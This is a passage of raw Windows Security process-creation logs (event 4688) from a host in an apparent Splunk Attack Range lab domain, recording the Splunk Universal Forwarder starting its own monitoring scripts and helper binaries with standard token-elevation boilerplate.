	New Process ID:		0xf50
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254052
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254051
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinEventLog.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254050
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1100
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\MonitorNoHandle.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254049
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1154
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  _internal check-xml-files --answer-yes --no-prompt 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254048
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal check-xml-files --answer-yes --no-prompt 2>&1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254047
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x504
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254046
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x504
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xeec
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254045
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeec
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1008
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254060
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe" --scheme

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254059
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254058
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1178
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254057
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254056
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254055
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254054
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254061
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x106c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254063
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254062
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1298
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:54:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254064
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

